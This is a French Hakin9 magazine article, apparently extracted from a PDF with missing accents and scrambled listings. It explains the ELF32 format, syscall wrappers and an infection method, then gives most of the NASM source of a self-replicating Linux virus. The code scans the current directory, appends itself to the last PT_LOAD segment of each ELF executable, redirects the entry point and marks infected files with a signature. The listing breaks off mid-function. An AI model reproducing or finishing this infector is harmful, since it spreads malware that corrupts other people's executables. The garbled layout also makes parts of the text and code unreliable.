Le format ELF peut tre employ dans de nombreuses architectures. Il existe une variante 32-bits et 64bits. Comme nous l'avons mentionn au dbut, nous travaillerons sur une plate-forme Intel de 32 bits et pour cette raison, nous nous limiterons au format 32 bits. Les noms des structures employes commencent par Elf32 . Les tailles supplmentaires des dcalages, des adresses, etc. sont galement 32 bits. La description plus dtaille des diffrences entre la version 32 et 64 bits se trouve dans le manuel. La premire structure de donnes par laquelle doit commencer tout fichier ELF correct est l'en-tte ELF dcrit par la structure Elf32 _ Ehdr. e _ ident est le premier champ de la structure Elf32 _ Ehdr. Il s'agit d'un tableau d'octets d'une longueur E _ NIDENT (actuellement 16) dont l'objectif consiste identifier le fichier et dterminer ses caractristiques de base, indispensables une interprtation correcte Ses premiers octets composent le numro magique (en anglais magic number) qui permet de constater s'il s'agit du format ELF. Ils doivent correspondre respectivement : ELFMAG0, ELFMAG1, ELFMAG2 et ELFMAG3. C'est une entre caractristique pour les fichiers ELF, prsente au dbut de ces fichiers : d'abord, l'octet 0x7F, ensuite, l'entre ELF en ASCII. Les autres octets dterminent notamment la longueur du mot (32 ou 64-bits), la version de la spcification ELF, avec laquelle le fichier est compatible et le systme d'exploitation cible. Le champ suivant e _ type permet de distinguer tous les types de fichiers ELF. Nous distinguons cinq types des fichiers : type inconnu ( ET _ NONE), fichier repositionnable ( ET _ REL), fichier excutable ( ET _ EXEC), objet partag ( ET _ DYN ), clich mmoire ( ET _ CORE). supportes, nous ne nous intresserons qu' la plate-forme IA32 laquelle correspond la valeur EM _ 386. Le champ e _ version dfinit la version de spcification ELF laquelle la structure du fichier est compatible. Pour l'instant, seule la valeur EV _ CURRENT est disponible ; elle indique la spcification actuelle. Le champ suivant e _ version est une adresse virtuelle du point de dpart du programme. Son excution commencera partir de l'instruction qui s'y trouve. Ce champ nous sera utile car il permet de rediriger l'excution vers le code de notre virus. Les autres champs, mis part e _ flags non utilis actuellement, dcrivent l'emplacement et la taille de la table des en-ttes de segment et de la table des sections. Les champs : e _ phoff, e _ phentsize et e _ phnum dcrivent l'emplacement et la taille de la table des en-ttes de segment. Le premier d'entre eux est un dcalage (calcul en octets) du dbut de la table par rapport au dbut du fichier. Le champ e _ phnum dfinit le nombre des en-ttes existants dans la table. Tous les en-ttes ont une longueur identique inscrite dans le champ e _ phentsize . La situation est similaire avec la table des sections dcrite par les champs : e _ shoff, e _ shentsize et e _ shnum . Leur rle est analogique au rle des champs lis la table des en-ttes de segment. Les sections, contrairement aux segments, peuvent tre dotes des noms. Ils sont attribus au moyen d'une section spciale contenant un tableau des noms. L'indexe de cette section se trouve dans le champ e _ shstrndx . La table des programmes dcrit comment chaque partie du fichier est mappe dans la mmoire virtuelle o se trouvent les donnes indispensables un chargement correct du programme. La structure Elf32 _ Phdr dcrit l'en-tte individuel du programme. p _ type est le premier champ de la structure Elf32 _ Phdr. Il indique le type de l'en-tte qui influence les oprations ralises lors du fonctionnement du programme. PT _ LOAD est le type le plus important pour nous. Il dcrit le mappage de la partie du fichier dans la zone de la mmoire virtuelle. Les fragments qui ne sont pas influencs par les actions de l'en-tte ne se trouveront pas dans la mmoire virtuelle. Les fragments du fichier et de la mmoire virtuelle concerns par l'entte du programme sont dcrits par les champs p _ offset et p _ filesz (fichier) ainsi que p _ vaddr et p _ memsz (mmoire). Ces donnes peuvent tre interprtes diffremment en fonction du type de l'en-tte. Pour les en-ttes PT _ LOAD , elles dterminent la zone du fichier qui sera transmis l'adresse indique dans la mmoire virtuelle. Pour que cela soit possible, la mmoire doit bien videmment tre capable de contenir les donnes indiques. Pour cette raison, la valeur dans le champ p _ filesz doit tre infrieure ou gale celle stocke par le champ p _ memsz . Si nous attribuons plus de mmoire que ncessaire, le surplus sera rempli des octets zro. Les segments du type PT _ LOAD doivent tre prsents dans l'ordre des adresses ascendantes dans la mmoire ( p _ vaddr). Il est possible d'attribuer les droits de lecture, d'enregistrement et d'excution chaque segment. Cette dmarche s'effectue au moyen du champ p _ flags. Trois drapeaux sont disponibles : PF _ X (excution), PF _ W (enregistrement) et PF _ R (lecture). Le segment du texte est le

Listing 2. Manire d'indiquer l'adresse du code dans la mmoire


start: call data: db code: pop code 'Donnes ncessaires', 0 eax

Le champ e _ machine dcrit le type de l'architecture laquelle est destin le fichier. Parmi plusieurs architectures
16 HAKIN9 5/2009

VIRUS SOUS LINUX


plus souvent lu et excut et le segment des donnes est en plus enregistr. Les dfinitions de toutes les structures de donnes indispensables relatives aux fichiers ELF se trouvent dans le fichier elf.inc prsent sur le Listing 3. particulirement attention aux emplacements des tables des en-ttes de segment et des sections. La table des en-ttes de segment se trouve au tout dbut du fichier, elle commence par le 52 octet. La table des sections se trouve en revanche plus loin. Remarquez que c'est la dernire structure prsente dans le fichier. En effet, la longueur du fichier excutable est de 14572. La table des sections est dcale de 13572 octets par rapport au dbut et sa longueur est de 1000 octets (25 en-ttes de 40 octets chacun). Pour regarder la table des sections, faites la commande :
readelf -S /bin/echo

Analyse des fichiers excutables

Nous mettrons les connaissances apprises en pratique en analysant plusieurs fichiers excutables. Nous prendrons ainsi connaissance des vecteurs potentiels du virus. Nous utiliserons le fichier binutils, qui fait partie de l'ensemble d'outils de programmation GNU. Rien n'empche bien videmment d'opter pour d'autres outils. Avant de commencer l'analyse, n'oubliez pas qu'il peut y avoir des diffrences entre les rsultats de l'analyse prsents sur les Listings et les rsultats que vous avez obtenus. Il en est ainsi car les fichiers binaires peuvent ne pas tre identiques dans les distributions diffrentes. Le programme echo trs simple constituera l'objet de l'analyse. Il sert afficher un texte sur une sortie standard. Dans un premier temps, analysons l'entte ELF du programme. Pour ce faire, nous utiliserons le programme readelf :
readelf -h /bin/echo

Vous verrez une longue liste de chaque section. Nous ne l'analyserons pas car elle n'est pas essentielle du point de vue du sujet de notre article. Passons l'analyse des en-ttes du programme. Pour obtenir leur liste, faites la commande :
readelf -l /bin/echo

Listing 3. Fichier Makefile utilis pour compiler le virus


%define %define %define %define %define ELFMAG EI_NIDENT ET_EXEC EM_386 PT_LOAD 464C457Fh 16 2 3 1

struc Elf32_Ehdr .e_ident resb EI_NIDENT .e_type resw 1 .e_machine resw 1 .e_version resd 1 .e_entry resd 1 .e_phoff resd 1 .e_shoff resd 1 .e_flags resd 1 .e_ehsize resw 1 .e_phentsize resw 1 .e_phnum resw 1 .e_shentsize resw 1 .e_shnum resw 1 .e_shstrndx resw 1 endstruc struc Elf32_Phdr .p_type resd 1 .p_offset resd 1 .p_vaddr resd 1 .p_paddr resd 1 .p_filesz resd 1 .p_memsz resd 1 .p_flags resd 1 .p_align resd 1 endstruc struc Elf32_Shdr .sh_name resd 1 .sh_type resd 1 .sh_flags resd 1 .sh_addr resd 1 .sh_offset resd 1 .sh_size resd 1 .sh_link resd 1 .sh_info resd 1 .sh_addralign resd 1 .sh_entsize resd 1 endstruc

Le Listing 4 prsente le rsultat de la commande ci-dessus. Faites

Figure 1. Structure du fichier ELF


5/2009 HAKIN9 17

DOSSIER
Le Listing 5 prsente la description de tous les sept en-ttes prsents dans le programme. Comme nous l'avons susmentionn, les en-ttes du type PT _ LOAD sont ncessaires pour crer une image du processus dans la mmoire. Ils dcrivent le mappage de la partie du fichier en fragments de la mmoire virtuelle. Le premier des en-ttes prsents de ce type est dot des drapeaux de lecture Listing 4. Exemple d'un en-tte ELF
ELF Header: Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 Class: ELF32 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: Intel 80386 Version: 0x1 Entry point address: 0x8048a70 Start of program headers: 52 (bytes into file) Start of section headers: 13572 (bytes into file) Flags: 0x0 Size of this header: 52 (bytes) Size of program headers: 32 (bytes) Number of program headers: 7 Size of section headers: 40 (bytes) Number of section headers: 25 Section header string table index: 24

et d'excution. De plus, vous remarquerez qu'il contient la section .text. Cet en-tte sert donc crer un segment du code dans la mmoire. Le deuxime en-tte est dot des drapeaux de lecture et d'enregistrement et contient les sections .data et .bss, ce qui signifie qu'il dcrit un segment de donnes. Comme nous l'avons expliqu cidessus, les segments PT _ LOAD doivent exister dans l'ordre des emplacements ascendants dans la mmoire virtuelle.

Dans le cas analys, le deuxime segment commence l'endroit o se termine le premier. Remarquons que seulement une partie du fichier est mappe dans la mmoire et que tous les autres segments (mis part le dernier segment du type GNU _ STACK ) se trouvent dans les zones des segments PT _ LOAD . Aprs avoir effectu un simple calcul, nous verrons que le dernier segment PT _ LOAD se termine l'octet 13380. 1192 octets du fichier ont t omis, y compris la table des sections, entre autres. Elle n'est pas indispensable pour le fonctionnement du programme. Vous vous en rendrez compte en la supprimant tout simplement. Pour ce faire, il faut mettre zro les champs qui la dcrivent : e _ shoff, e _ shentsize , e _ shnum et e _ shstrndx . Une fois cette opration effectue, le programme continuera fonctionner correctement.

Mcanisme de l'infection

Listing 5. Table des en-ttes de segment


Elf file type is EXEC (Executable file) Entry point 0x8048a70 There are 7 program headers, starting at offset 52 Program Headers: Type Offset PHDR 0x000034 INTERP 0x000114 [Requesting program LOAD 0x000000 LOAD 0x0032b4 DYNAMIC 0x0032c8 NOTE 0x000128 GNU_STACK 0x000000

VirtAddr PhysAddr FileSiz MemSiz 0x08048034 0x08048034 0x000e0 0x000e0 0x08048114 0x08048114 0x00013 0x00013 interpreter: /lib/ld-linux.so.2] 0x08048000 0x08048000 0x032b4 0x032b4 0x0804c2b4 0x0804c2b4 0x00190 0x002f4 0x0804c2c8 0x0804c2c8 0x000c8 0x000c8 0x08048128 0x08048128 0x00020 0x00020 0x00000000 0x00000000 0x00000 0x00000

Flg Align R E 0x4 R 0x1 R E RW RW R RW 0x1000 0x1000 0x4 0x4 0x4

Section to Segment mapping: Segment Sections... 00 01 .interp 02 .interp .note.ABI-tag .hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame 03 .ctors .dtors .jcr .dynamic .got .got.plt .data .bss 04 .dynamic 05 .note.ABI-tag 06

L'analyse et les observations effectues peuvent servir d'un point de dpart pour constituer une simple mthode pour infecter des fichiers. Nous avons vu qu'il tait possible de supprimer la table des sections sans influencer le fonctionnement du programme. De plus, sa taille est grande (un kilooctet) et se trouve la fin du fichier. L'ide consiste donc dvelopper le dernier segment du type PT _ LOAD , de sorte qu'il comprenne une zone supplmentaire du fichier dans laquelle nous placerons le virus. Grce une longueur plus grande du segment, il est possible de placer dans la mmoire les donnes qui ne s'y seraient jamais trouves sinon (par exemple, table des sections). Elles se trouveront dans la zone de la mmoire qui n'est pas initie. Le programme peut s'attendre un tel vnement et compter sur le fait que la zone ne contiendra que les octets zro. Il est fort probable qu'une telle dmarche dstabilisera le fonctionnement du programme attaqu. Une fois les modifications apportes, la zone de la mmoire, rserve initialement par le programme, ne peut plus tre modifie.

18 HAKIN9 5/2009

VIRUS SOUS LINUX


Pour rsoudre ce problme, il faut dplacer l'image du segment de la mmoire dans le fichier. Cette opration consiste enregistrer une partie non initie du segment dans le fichier. Sa longueur correspond la diffrence entre les valeurs des champs e _ memsz et e _ filesz de l'en-tte qui dcrit le segment donn. Cette zone doit tre remplie par les zros ; c'est l'aspect d'une partie non initie du segment dans la mmoire. Une fois cette opration effectue, il est possible d'ajouter en toute scurit n'importe quel code la fin du segment. Les adresses, sous lesquelles nous effectuerons les enregistrements, n'taient pas initialement employes par le programme. L'augmentation de la longueur du segment est lie une modification approprie des champs e _ memsz et e _ filesz et des droits en ajoutant un drapeau d'excution. De plus, il faut supprimer l'information relative la table des sections dans l'en-tte ELF. Dans un premier temps, la procdure vrifiera bien videmment si le fichier attaqu est un fichier excutable ELF. Pour ce faire, il faut vrifier si : le fichier contient une structure Elf32 _ Ehdr, les quatre premiers octets sont un numro magique, le fichier est excutable (champ e _ type gal ET _ EXEC ), le fichier est destin l'architecture IA32 (champ e _ machine gal EM _ 386). initiale du champ e _ memsz , laquelle nous ajoutons la longueur du virus. Puisque nous souhaitons que les instructions du virus s'excutent avant la suite du programme, il faut rediriger le point d'entre. Nous enregistrons la valeur originale du champ e _ entry dans l'en-tte du virus. Il sera ainsi possible de passer les commandes au programme infect la fin de l'appel du code du virus. Ensuite, il faut modifier le champ e _ entry de manire ce qu'il indique l'adresse du virus dans la mmoire virtuelle. Il ne nous reste qu' supprimer l'information relative la table des sections. Elle a t probablement efface suite au dveloppement du segment mais ce n'est pas toujours le cas. Supprimons donc l'information sur la table et nous n'aurons pas besoin de vrifier si elle a t efface. Le code sera ainsi simplifi sans influencer la stabilit du fonctionnement du programme infect. Cette opration se limite mettre zro les champs e _ shoff, e _ shentsize , e _ shnum et e _ shstrndx dans l'en-tte du fichier. comment dtecter et grer les erreurs ventuelles. De plus, il est possible d'identifier les appels qui n'existent pas dans le noyau. titre d'exemple, sbrk n'est pas propos par le noyau. C'est une fonction supplmentaire dont l'objectif consiste faciliter la programmation. Tout appel a son propre numro unique qui permet de l'identifier. Cet identifiant est l'un des arguments du sous-programme de gestion de l'interruption 128. Il est ainsi possible d'utiliser des fonctions diffrentes l'aide d'une seule interruption. Le fichier d'en-tte syscall.h contient un ensemble de numros des appels systmes. L'identifiant doit tre plac dans le registre EAX avant l'appel de l'interruption. Les arguments de l'appel systme sont transmis l'aide des registres. Ils sont plac respectivement dans : EBX, ECX, EDX, ESI, EDI et EBP. Certains appels systmes attendent un seul argument qui est une adresse du tableau stockant les arguments appropris.

Appels systmes

Si les conditions ci-dessus sont remplies, nous supposons qu'il s'agit d'un fichier excutable ELF correct. Ensuite, nous trouvons le tableau des segments et le dernier segment PT _ LOAD . Si ncessaire, nous ajoutons la fin un nombre appropri des octets zro (gal la diffrence des champs e _ memsz et e _ filesz). Nous ajoutons un virus la fin du segment ainsi dvelopp. Il faut apporter des modifications adquates aux informations relatives la taille du segment. Il faut paramtrer les champs e _ filesz et e _ memsz une valeur

Tout systme d'exploitation est dot d'un ensemble de fonctions ralises en mode noyau. Elles constituent une interface de programmation de base sur laquelle il est possible de baser les appels de haut niveau. L'accs aux appels systmes est possible sous Linux grce l'interruption sur le vecteur 128 (0x80 hexadcimal). Grce aux fonctions systmes dans les langages de haut niveau, nous n'appelons pas l'interruption 128 directement mais nous utilisons la fonction propose par la bibliothque libc. C'est un enveloppeur (en anglais wrapper). Il est charg de prparer les arguments, d'appeler l'interruption 128 et de grer les erreurs. La section 2 du manuel dcrit le comportement des enveloppeurs. La meilleure manire de savoir comment utiliser un appel systme consiste analyser son enveloppeur. Nous apprendrons ainsi quel type d'arguments est attendu par l'appel et

Figure 2. Structure d'un fichier ELF infect

Figure 3. Structure du fichier ELF infect


5/2009 HAKIN9 19

DOSSIER
Listing 6. Fragment d'une procdure de la gestion de l'interruption 128 depuis le fichier arch/x86/kernel/entry_32.S
ENTRY(system_call) RING0_INT_FRAME pushl %eax CFI_ADJUST_CFA_OFFSET 4 SAVE_ALL ... restore_nocheck_notrace: RESTORE_REGS addl $4, %esp CFI_ADJUST_CFA_OFFSET -4 irq_return: INTERRUPT_RETURN

La valeur de retour de l'appel systme est transmise l'aide du registre EAX. Les autres registres restent inchangs. Vous pouvez vous en rendre facilement en analysant le fragment du sousprogramme de gestion de l'interruption prsent sur le Listing 6. La convention veut que les codes des erreurs soient ngatifs. Cela ne signifie toutefois pas que toute valeur ngative est un code d'erreur. titre d'exemple, nous pouvons avoir une adresse dans la mmoire virtuelle suprieure 0x80000000. Ainsi, pour dtecter une erreur, il faut vrifier si la valeur retourne se trouve dans une zone dfinie correspondant aux codes des erreurs. Nos enveloppeurs utiliseront la convention d'appels stdcall. Autrement dit : les arguments d'appel sont transmis l'aide de la pile dans un ordre inverse, la fonction appele est charge de nettoyer la pile, les valeurs des registres EBX, ESI, EDI et EBP doivent rester inchangs, la valeur de retour est transmise via le registre EAX.

Dans un premier temps, ouvrons la bibliothque libc dans un dbogueur :


gdb /lib/libc.so.6 _ exit est l'un des appels systmes

le plus simple. Il termine le processus d'appel. Faites la commande suivante dans le dbogueur : disassemble _exit Le Listing 7 prsente le code obtenu. Son fonctionnement est le suivant : le premier et le seul argument de l'enveloppeur (code de la fin du processus) est enregistr dans le registre EBX, le numro de l'appel systme (ici 252) est enregistr dans le registre EAX, l'interruption 128 est appele, le numro d'un autre appel (ici 1) est enregistr dans le registre EAX, l'interruption 128 est de nouveau appele.

L'enveloppeur _ exit n'appelle pas un seul mais deux appels systmes. Leurs numros sont les suivants : 252 et 1. Il est facile de vrifier (fichier syscall.h) qu'il s'agit des appels exit _ group et exit . Le premier d'entre eux met fin tous les fils dans le groupe actuel de fils. Cet appel ne retourne jamais. Le code qui se trouve derrire a pour but de garantir que les noyaux infrieurs 2.5.35 sont compatibles car ils ne proposent pas cette fonction systme. La fonction exit avec l'identifiant 1 sera appele dans ce cas-l. Il n'est pas ncessaire de retenir les valeurs des registres ni de nettoyer la pile car cet appel ne retournera jamais au programme qui l'appelle. Passons l'analyse d'un enveloppeur plus complexe. Nous dsassemblons la fonction mkdir :
disassemble mkdir

Le code de l'enveloppeur prsent sur le Listing 8 peut tre divis en deux parties spares par l'instruction ret . La premire d'entre elles : retient le registre EBX en le copiant dans le registre EDX, charge deux arguments de la pile et les place dans les registres EBX et ECX, appelle la fonction systme, numro 39, retourne la valeur du registre EBX, compare la valeur retourne par l'appel avec un chiffre et fait un saut.

Appels systmes

Il faut donc retenir les valeurs des registres EBX, ESI, EDI et EBP (si nous les utilisons) et enlever les arguments de la pile.

Tous les appels systmes sous Linux s'effectuent via l'interruption 128. Chacun d'entre eux est dot d'un identifiant unique que nous pouvons trouver dans les fichiers d'en-tte (syscall.h). Lorsque nous connaissons le numro de l'appel souhait, il faut : retenir les valeurs des registres EBX, EDI, ESI, EDI et EBP, s'ils sont utiliss, placer l'identifiant d'appel dans le registre EAX, enregistrer les arguments respectivement dans EBX, ECX, EDX, ESI, EDI et EBP, appeler l'interruption 128, restituer les valeurs des registres retenues.

Enveloppeurs des appels systmes

Afin de connatre la manire d'appeler les fonctions systmes, nous analyserons deux enveloppeurs de la bibliothque libc. Pour ce faire, nous aurons besoin d'un dsassembleur. Nous opterons pour un outil standard GNU gdb.
20 HAKIN9 5/2009

Nous obtiendrons la valeur retourne par l'appel dans le registre EAX. Les autres registres restent inchangs. Il ne faut pas oublier que des exceptions existent toujours. L'appel peut prendre des arguments d'une autre manire que via les registres. Il faut toujours analyser l'enveloppeur d'appel disponible dans la bibliothque libc.

VIRUS SOUS LINUX


La dernire tape peut permettre de passer la seconde partie de l'appel. La valeur retourne par l'appel systme est compare une constante ngative, nous pouvons supposer qu'il s'agit d'une partie du processus de gestion des erreurs. Nous considrons la constante prsente dans cet appel comme une limite infrieure des codes des erreurs. Toutes les valeurs ngatives qui sont gales ou suprieures cette constante signifieront pour nous une erreur. dans la mmoire et permettra de le manipuler notre gr. Une fois le travail avec le fichier termin, nous appelons munmap. Les modifications apportes seront alors transmises au fichier et la zone de la mmoire alloue auparavant sera libre. Mis part les oprations sur les fichiers, nous devrons avoir la possibilit d'numrer le contenu du rpertoire. Pour ce faire, nous optons pour la fonction systme getdents. Ses appels respectifs remplissent la structure dent avec les donnes des objets qui se trouvent dans le rpertoire indiqu par le descripteur. L'appel de getdents informe seulement quels sont les noms des objets. Nous avons besoin de davantage d'informations sur l'objet analys. Il faut notamment savoir distinguer les fichiers ordinaires et les rpertoires, les sockets, etc. De plus, nous devons connatre la longueur du fichier pour procder l'infection. Elle est galement exige par les appels mmap et munmap. La fonction systme stat nous fournira toutes les informations indispensables. Elle remplit la structure stat avec les informations sur l'objet dont le chemin est transmis en argument. Tous les appels susmentionns ncessitent certaines options et structures pour fonctionner correctement. Il est possible de les trouver dans les fichiers d'en-tte appropris. Le manuel sera trs utile. Le Listing 9 prsente un fichier d'en-tte prt. La structure de tous les enveloppeurs est similaire : ils retiennent les valeurs des registres appropris (EBX, ESI, EDI et EBP), ils chargent les arguments de la pile et les placent dans les registres appropris, ils appellent la fonction syscall _ error.

Enveloppeurs des appels dans le virus

Nous crerons maintenant des enveloppeurs des appels systmes utiliss par le virus. Dans un premier temps, nous dciderons quels enveloppeurs seront indispensables. La fonction principale du virus consistera se multiplier en infectant d'autres fichiers. Pour ce faire, nous aurons besoin des appels entres-sorties qui permettront : d'ouvrir et de fermer les fichiers et les rpertoires, d'numrer le contenu d'un rpertoire, de charger des informations relatives aux objets du systme de fichiers, de lire et de supprimer les fichiers dans la mmoire.

Listing 7. Code de l'enveloppeur _exit de la bibliothque libc


(gdb) disassemble _exit Dump of assembler code for function _exit: 0x00095344 <_exit+0>: mov 0x4(%esp),%ebx 0x00095348 <_exit+4>: mov $0xfc,%eax 0x0009534d <_exit+9>: int $0x80 0x0009534f <_exit+11>: mov $0x1,%eax 0x00095354 <_exit+16>: int $0x80 0x00095356 <_exit+18>: hlt End of assembler dump.

Les appels open et close servent ouvrir et fermer les objets dans le systme de fichiers. Ils fonctionnent par rapport aux fichiers, aux rpertoires et aux fichiers spciaux. Toute ressource ouverte est identifie par un descripteur qui est un nombre entier. Une fois le fichier ouvert, il faut placer son contenu dans la mmoire. Nous voudrons souvent enregistrer aussi les donnes de nouveau dans le fichier. Nous pourrons utiliser un couple d'appels read et write . Cette dmarche poserait toutefois des difficults : il faudrait grer la mmoire, lire et enregistrer des fragments appropris. Il est plus facile de mapper le fichier dans la mmoire l'aide des appels mmap et munmap. Le premier d'entre eux placera le fragment indiqu du fichier

Listing 8. Code de l'enveloppeur mkdir de libc


(gdb) disassemble mkdir Dump of assembler code for function mkdir: 0x000bb590 <mkdir+0>: mov %ebx,%edx 0x000bb592 <mkdir+2>: mov 0x8(%esp),%ecx 0x000bb596 <mkdir+6>: mov 0x4(%esp),%ebx 0x000bb59a <mkdir+10>: mov $0x27,%eax 0x000bb59f <mkdir+15>: int $0x80 0x000bb5a1 <mkdir+17>: mov %edx,%ebx 0x000bb5a3 <mkdir+19>: cmp $0xfffff001,%eax 0x000bb5a8 <mkdir+24>: jae 0xbb5ab <mkdir+27> 0x000bb5aa <mkdir+26>: ret 0x000bb5ab <mkdir+27>: call 0x102656 0x000bb5b0 <mkdir+32>: add $0x7ea44,%ecx 0x000bb5b6 <mkdir+38>: mov -0x20(%ecx),%ecx 0x000bb5bc <mkdir+44>: xor %edx,%edx 0x000bb5be <mkdir+46>: sub %eax,%edx 0x000bb5c0 <mkdir+48>: mov %edx,%gs:(%ecx) 0x000bb5c3 <mkdir+51>: or $0xffffffff,%eax 0x000bb5c6 <mkdir+54>: jmp 0xbb5aa <mkdir+26> End of assembler dump.

5/2009 HAKIN9

21

DOSSIER
Listing 9. Fichier syscall.inc appels systmes
; Numros des appels systmes %define SYS_exit 1 %define SYS_open 5 %define SYS_close 6 %define SYS_lseek 19 %define SYS_mmap 90 %define SYS_munmap 91 %define SYS_ftruncate 93 %define SYS_stat 106 %define SYS_getdents 141 %define SYS_fchdir 133 ; Appel de stat %define S_IFREG 0100000q ; Appel de lseek %define SEEK_SET 0 ; Appel de mmap %define MAP_SHARED 1 %define PROT_READ 1 %define PROT_WRITE 2 ; Appel de open %define O_RDONLY 0 %define O_RDWR 2 ; Appel de getdents %define NAME_MAX 4096 ; Zone infrieure des codes des erreurs %define ERROR_THRESHOLD 0FFFFF000h struc _stat .st_dev resd 1 .st_ino resd 1 .st_mode resw 1 .st_nlink resw 1 .st_uid resw 1 .st_gid resw 1 .st_rdev resd 1 .st_size resd 1 .st_blksize resd 1 .st_blocks resd 1 .st_atime resd 1 .st_atime_nsec resd 1 .st_mtime resd 1 .st_mtime_nsec resd 1 .st_ctime resd 1 .st_ctime_nsec resd 1 resq 2 endstruc struc dirent .d_ino resd 1 .d_off resd 1 .d_reclen resw 1 .d_name resb NAME_MAX+1 endstruc syscall_error: int 80h cmp eax, ERROR_THRESHOLD jbe .return or eax, byte -1 .return: pop ecx pop ebx jmp ecx lseek: push ebx push byte SYS_lseek pop eax mov ebx, [esp+8] mov ecx, [esp+12] mov call retn open: push push pop mov mov mov call retn close: push push pop mov call retn mmap: push push pop lea call retn edx, [esp+16] syscall_error 12 ebx byte SYS_open eax ebx, [esp+8] ecx, [esp+12] edx, [esp+16] syscall_error 12 ebx byte SYS_close eax ebx, [esp+4] syscall_error 4 ebx byte SYS_mmap eax ebx, [esp+8] syscall_error 24

munmap: push ebx push byte SYS_munmap pop eax mov ebx, [esp+8] mov ecx, [esp+12] call syscall_error retn 8 stat: push ebx push byte SYS_stat pop eax mov ebx, [esp+8] mov ecx, [esp+12] call syscall_error retn 8 getdents: push ebx mov eax, SYS_getdents mov ebx, [esp+8] mov ecx, [esp+12] mov edx, [esp+16] call syscall_error retn 12 fchdir: push ebx mov eax, SYS_fchdir mov ebx, [esp+8] call syscall_error retn 4 ftruncate: push ebx push byte SYS_ftruncate pop eax mov ebx, [esp+8] mov ecx, [esp+12] call syscall_error retn 8

22 HAKIN9 5/2009

VIRUS SOUS LINUX


La fonction appele la fin, syscall _ error, est charge d'appeler l'interruption 128 et de grer les erreurs. Elle consiste retourner la valeur -1 dans le registre EAX lorsque l'interruption retourne un chiffre ngatif suprieur au seuil d'erreur ERROR _ THRESHOLD . Avant le retour, elle restitue la valeur du registre EBX car il est retenu dans tous les enveloppeurs.

Listing 10. Fichier virus.inc


%macro call 1-* %rep %0-1 %rotate -1 push %1 %endrep %rotate -1 call %1 %endmacro

Code du virus

Passons au code du virus. Le Listing 10 prsente le code du virus avec des commentaires. Il ncessite des fichiers d'en-tte virus.inc, elf.inc et syscall.inc, prsents ci-dessus, pour l'assemblage. L'tiquette _ start constitue un point de dpart. La premire instruction

Listing 11a. Fichier virus.asm code du virus


%include "virus.inc" %include "elf.inc" section .text global _start _start: ; retenez l'adresse de retour (ici, l'tiquette _end), les registres et les drapeaux push _end pushad pushf ; Passez au code du virus en retenant l'adresse derrire cette instruction sur la pile call _virus_body ; Nom du rpertoire infecter db '.', 0 %include "syscall.inc" ; Signature du virus les quatre derniers octets du code %define SIGNATURE 0xC3619DFF ; ; infect_dir ; ; Description: ; Infecte tous les fichiers dans le rpertoire indiqu ; ; Appel: ; push chemin ; call infect_dir ; infect_dir: push ebp mov ebp, esp sub esp, dirent_size + _stat_size pushad ; Ouvrez le rpertoire indiqu et passez-y call open, dword [ebp+8], byte O_RDONLY, byte 0 inc eax jz near .return dec eax xchg ebx, eax ; Passez au rpertoire donn call fchdir, ebx inc eax jz .close ; Lisez le contenu du rpertoire (EDI = dirent, ESI = stat) lea edi, [ebp - dirent_size] lea esi, [edi - _stat_size] .loop: ; Tlchargez une entre individuelle depuis le rpertoire call getdents, ebx, edi, dirent_size test eax, eax jz .close inc eax jz .close ; Passez une nouvelle entre dans le rpertoire call lseek, ebx, dword [edi+dirent.d_off], byte SEEK_SET ; Tlchargez l'information sur l'objet trouv lea edx, [edi+dirent.d_name] call stat, edx, esi inc eax jz .close ; Omettez tout sauf les fichiers ordinaires mov eax, dword [esi+_stat.st_mode] not eax test eax, S_IFREG jnz .loop ; Infectez le fichier lea eax, [edi+dirent.d_name] call infect, eax, dword [esi+_stat.st_size] jmp .loop .close: ; Fermez le rpertoire call close, ebx .return: popad mov esp, ebp pop ebp retn 4 ; ; infect ; ; Description: ; Infecte le fichier indiqu ; ; Appel: ; push taille_fichier ; push chemin ; call infect ; infect: push ebp mov ebp, esp pushad ; Vrifiez si le fichier peut contenir un en-tte ELF mov eax, [ebp+12] cmp eax, Elf32_Ehdr_size jbe near .return ; Ouvrez le fichier indiqu call open, dword [ebp+8], byte O_RDWR, byte 0 inc eax jz near .return dec eax xchg ebx, eax ; Mappez le fichier entier dans la mmoire call mmap, byte 0, dword [ebp+12], byte PROT_READ | PROT_WRITE, byte MAP_SHARED, ebx, byte 0 inc eax jz near .close

5/2009 HAKIN9

23

DOSSIER
Listing 11b. Fichier virus.asm code du virus
dec eax xchg esi, eax ; Vrifiez le numro magique, le type du fichier et l'architecture cible cmp dword [esi], ELFMAG jne near .unmap cmp word [esi+Elf32_Ehdr.e_type], ET_EXEC jne near .unmap cmp word [esi+Elf32_Ehdr.e_machine], EM_386 jne near .unmap ; Trouvez le dernier segment LOAD mov eax, dword [esi+Elf32_Ehdr.e_phoff] add eax, esi movzx ecx, word [esi+Elf32_Ehdr.e_phnum] .find_last_load: dec ecx js near .unmap lea edx, [4*ecx] lea edi, [eax+8*edx] mov edx, [edi+Elf32_Phdr.p_type] dec edx jnz .find_last_load ; Vrifiez quelle partie de l'image de la mmoire est trop grande pour le fichier mov eax, [edi+Elf32_Phdr.p_offset] add eax, [edi+Elf32_Phdr.p_memsz] add eax, _virus_size mov edx, [ebp+12] cmp eax, edx jbe .is_infected ; Augmentez la taille du fichier et ressayez de l'infecter push eax call ftruncate, ebx, eax call infect, dword [ebp+8] jmp .unmap .is_infected: ; Vrifiez si le fichier est dj infect mov edx, [edi+Elf32_Phdr.p_filesz] mov eax, [edi+Elf32_Phdr.p_offset] add eax, edx lea eax, [esi+eax] cmp dword [eax-4], SIGNATURE je .unmap .zero_segment: ; Mettez zro la partie non initie au pralable du segment mov ecx, [edi+Elf32_Phdr.p_memsz] sub ecx, edx .zero_loop: dec ecx js .locate mov byte [eax], 00h inc eax jmp .zero_loop .locate: ; Localisez le code du virus dans la mmoire call .locate_call .locate_call: pop edx sub edx, .locate_call - _start ; Copiez le code du virus push ebx mov ecx, _virus_size .copy_virus: dec ecx js .copied mov bl, [edx+ecx] mov [eax+ecx], bl jmp .copy_virus .copied: pop ebx ; Modifiez e_entry mov edx, [esi+Elf32_Ehdr.e_entry] mov [eax+1], edx mov edx, [edi+Elf32_Phdr.p_memsz] add edx, [edi+Elf32_Phdr.p_vaddr] mov [esi+Elf32_Ehdr.e_entry], edx ; Dveloppez la section mov eax, [edi+Elf32_Phdr.p_memsz] 